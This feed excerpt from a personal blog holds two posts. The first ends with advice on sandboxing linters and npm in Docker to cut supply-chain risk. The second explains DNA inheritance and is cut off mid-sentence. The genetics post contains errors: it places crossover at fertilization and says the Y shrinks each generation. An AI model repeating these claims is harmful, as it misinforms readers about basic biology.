<a href="https://github.com/htmlhint/htmlhint?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">HTMLhint</a>.
It has   
    
    
<a href="https://deps.dev/npm/htmlhint?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">27 dependencies</a>, any of those could be malicious.
So, when you do <code>npm install -g htmlhint</code>, you are taking a
  
    
    
<a href="https://www.sentinelone.com/blog/unseen-threats-in-software-development-the-perils-of-trojanized-npm-packages?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">huge risk</a>.
And this is not a
  
    
    
<a href="https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-500k-crypto-heist-through-malicious-packages-targeting-cursor-developers?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">theoretical risk</a>.</p>
<p>Even big companies like   
    
    
<a href="https://aws.amazon.com/security/security-bulletins/AWS-2025-015/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amazon</a> are falling for   
    
    
<a href="https://github.com/aws/aws-toolkit-vscode/commit/1294b38b7fade342cfcbaf7cf80e2e5096ea1f9c?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">it</a>.</p>
<p>A linter, for example, needs just read-only access to the all the files that you want to lint.</p>
<ul>
<li>It does not need access to files outside the current directory</li>
<li>It does not need Internet access</li>
<li>It does not need to modify any files either, read-only access is sufficient</li>
</ul>
<p>So, run it inside 
<a href="/tag/docker/">Docker</a> to mitigate the risk.</p>
<p>Using Docker, you can enforce the following restrictions:</p>
<ul>
<li>✅ No ability to send data over the Internet</li>
<li>✅ No access to any files outside the current directory</li>
<li>✅ Read-only access to files inside the current directory</li>
</ul>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># network=none =&gt; no network access</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># -v ${PWD}:${PWD} =&gt; mount current directory to the same path inside the container</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># ro =&gt; read-only filesystem access</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Build:</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># docker build -t htmlhint .</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Run:</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># docker run --rm --network=none -v ${PWD}:${PWD}:ro htmlhint ${PWD}</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> node:24-alpine3.21</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> npm install -g htmlhint
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;htmlhint&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This drastically reduces the attack surface of the code.</p>
<p>You can do this with pretty much any tool.</p>
<p>Consider   
    
    
<a href="https://golangci-lint.run/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">golangci-lint</a>, the famous meta-linter for 
<a href="/tag/go/">Go language</a>.</p>
<p>You can run it inside docker with the following command.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker run --rm --network<span style="color:#719e07">=</span>none -v <span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span>:<span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span>:ro --workdir<span style="color:#719e07">=</span><span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span>
</span></span><span style="display:flex;"><span>  golangci/golangci-lint:latest-alpine golangci-lint run
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Or you can do a read/write mount for a formatting tool to let it format/modify the files.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker run --rm --network<span style="color:#719e07">=</span>none -v <span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span>:<span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span> --workdir<span style="color:#719e07">=</span><span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span>
</span></span><span style="display:flex;"><span>  golangci/golangci-lint:latest-alpine golangci-lint run --fix
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>I even recommend this technique for running tools on GitHub Actions and have started using this
  
    
    
<a href="https://github.com/ashishb/gabo/blob/b4788d82741b29aab0b75385eee7b0a1c746a41b/.github/workflows/lint-github-actions.yaml#L52?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">extensively</a>
in 
<a href="/programming/common-pitfalls-of-github-actions/">GitHub Actions Boilerplate Generator</a>.</p>
<h2 id="update-oct-2025">Update Oct 2025</h2>
<p>After   
    
    
<a href="https://arstechnica.com/security/2025/10/npm-flooded-with-malicious-packages-downloaded-more-than-86000-times/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multiple</a>
publications of   
    
    
<a href="https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">malicious packages</a>
on npm, I have switched to using Docker for running <code>npm</code> as well.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#b58900">alias</span> <span style="color:#268bd2">npm</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#39;docker run --rm -it -v ${PWD}:${PWD} --net=host --workdir=${PWD} node:25-bookworm-slim npm&#39;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="update-dec-2025">Update Dec 2025</h2>
<p>I   
    
    
<a href="https://github.com/ashishb/amazing-sandbox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">open-sourced</a> my   
    
    
<a href="https://github.com/ashishb/amazing-sandbox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sandbox</a> that runs tools inside Docker-based sandbox.</p>
<p>I use it to run linters and similar tools.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#b58900">alias</span> <span style="color:#268bd2">mdl</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#39;asb gem exec mdl&#39;</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>$ <span style="color:#b58900">alias</span> <span style="color:#268bd2">yamllint</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#39;asb uvx yamllint&#39;</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/></entry><entry><title type="html">Family Ties in Your DNA: Some relatives are closer than others</title><link href="https://ashishb.net/parenting/genes-and-gender/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/parenting/pregnancy/?utm_source=atom_feed" rel="related" type="text/html" title="Pregnancy"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><id>https://ashishb.net/parenting/genes-and-gender/</id><author><name>Ashish Bhatia</name></author><published>2025-08-01T03:30:08+00:00</published><updated>2025-08-01T03:30:08+00:00</updated><content type="html"><![CDATA[<blockquote>Both genders propagate their genes, but they do it in a gender-specific way</blockquote><p>Before we look at how much DNA a child shares with parents, grandparents, and other relatives,
let&rsquo;s first understand how genes propagate in humans.</p>
<h2 id="reproduction">Reproduction</h2>
<p>There are about   
    
    
<a href="https://www.sciencedaily.com/releases/2011/08/110823180459.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">8.7 million species</a> of living beings
in the world. About 1.2 million of them are animals.</p>
<p>Virtually all of them (&gt;  
    
    
<a href="https://bionumbers.hms.harvard.edu/bionumber.aspx?s=n&amp;v=2&amp;id=107475&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">99.9%</a>) reproduce via sexual reproduction.</p>
<p>During sexual reproduction, both male and female propagate their genes, but they do it in a peculiar way.</p>
<p>Consider human reproduction.<br>
The male sperm is the smallest cell in the human body.<br>
The female ovum is the largest.<br>
During fertilization, a single ovum   
    
    
<a href="https://royalsocietypublishing.org/doi/10.1098/rspb.2020.0805?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">chooses and selects</a>
from millions of sperm.</p>
<p>There are 23 chromosome pairs in both male and female humans.<br>
The first 22 pairs are called autosomes.<br>
The 23rd pair is XX in females and XY in males.<br>
Notice the asymmetry.<br>
A female has XX while a male has XY, and this is what leads to asymmetry in how genes propagate.</p>
<p>Coming back to the ovum, it has only half, that is, 23 chromosomes.<br>
Similarly, a sperm has 23 chromosomes as well.</p>
<ul>
<li>All ova have X as the 23rd chromosome</li>
<li>50% of sperm have X as the 23rd chromosome</li>
<li>50% of sperm have Y as the 23rd chromosome</li>
<li>If an ovum is fertilized by a sperm that has X as the 23rd chromosome, then it is a female foetus</li>
<li>If an ovum is fertilized by a sperm that has Y as the 23rd chromosome, then it is a male foetus</li>
</ul>
<h2 id="zygote-formation-is-asymmetrical">Zygote formation is asymmetrical</h2>
<ul>
<li>When the ovum mates with a sperm carrying X, then in the 23rd pair, the crossover happens between the two X.</li>
<li>When the ovum mates with a sperm carrying Y, then in the 23rd pair, very little   
    
    
<a href="https://www.thetech.org/ask-a-geneticist/articles/2009/ask295/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">crossover happens</a>, so, the Y passed down is essentially the same.</li>
<li>And that&rsquo;s why Y shrinks generation by generation, eventually, it might even   
    
    
<a href="https://theconversation.com/the-y-chromosome-is-disappearing-so-what-will-happen-to-men-90125?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">disappear</a>.</li>
<li>Note that this crossover of X is what makes females have   
    
    
<a href="https://www.sciencedaily.com/releases/2006/03/060322184446.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fewer genetic diseases</a>.</li>
</ul>
<h2 id="how-much-dna-does-a-child-share-with-parents">How much DNA does a child share with parents</h2>
<p>A female gets 50% of all 23 pairs from each parent.
A male gets 50% of the first 22 pairs from each parent.
He gets X from the mother and Y from the father.
So, while it is about 50% each.
The Y is smaller, making it about 49% from the father and 51% from the mother!</p>
<p>The autosomes, the first 22 pairs, are boring since they propagate symmetrically.<br>
So, let&rsquo;s focus on the 23rd pair for the rest of the blog post.</p>
<h2 id="how-much-dna-does-a-child-share-with-grandparents">How much DNA does a child share with grandparents</h2>
<h3 id="female-child">Female child</h3>
<p>A female gets 50% of the 23 pairs from her mother and 50% from her father.
The 50% from the mother is a combination of the two X chromosomes the mother has.
So, she gets 25% from each of her grandparents on the mother&rsquo;s side.</p>
<p>However, on the father&rsquo;s side, her X comes from the father, who came from the paternal grandmother.
So, the paternal grandmother contributes <code>1/2*(11/22 + 1/23) ~ 27%</code> of the DNA.
And the paternal grandfather contributes 23%.</p>
<h3 id="male-child">Male child</h3>
<p>While the story on the mother&rsquo;s side is the same as above, the story on the father&rsquo;s side is different.
This time, 100% of the 23rd pair (Y) comes from the father, who came from the paternal grandfather.
So, the paternal grandfather contributes <code>1/2*(11/22 + 1/23) ~ 27%</code> of the DNA.
And the paternal grandmother contributes 23% of the DNA.</p>
<p>So, you can start noticing the asymmetry here.
While the autosomes propagate symmetrically, the 23rd pair does not.</p>
<h2 id="the-y-creates-a-male-line">The Y creates a male line</h2>
<p>When one focuses only on the 23rd pair, then the Y chromosome is passed down from the father
to son as-is (barring mutations).
The X chromosome recombines and introduces genetic diversity.</p>
<p>So, a child&rsquo;s X chromosome from the mother&rsquo;s side is a combination of the two X chromosomes the mother has.
For a female child, the other X chromosome comes from the father, which came from the
child&rsquo;s paternal grandmother.</p>
<p>For a male child, the other Y chromosome comes from the father, which came
from the child&rsquo;s paternal grandfather.</p>
<p>It is estimated that 16 million people in Central Asia and China are descendants of a single male ancestor,
likely,   
    
    
<a href="https://www.iflscience.com/fact-check-are-one-in-200-people-descended-from-genghis-khan-65357?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Genghis Khan</a>.</p>
<h2 id="the-mitochondrial-dna-creates-a-female-line">The Mitochondrial DNA creates a female line</h2>
<p>There is one thing that goes from mother to both son and daughter, and that&rsquo;s the   
    
    
<a href="https://www.thetech.org/ask-a-geneticist/articles/2020/how-much-dna-do-you-share-grandparents/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mitochondrial DNA</a>.
The mitochondrial DNA from the sperm is lost in the process.
Leaving only the one from the ovum to be passed to the zygote.
Orthodox Jews pass their religion via their mother.
40% of Askenazi Jews alive today can   
    
    
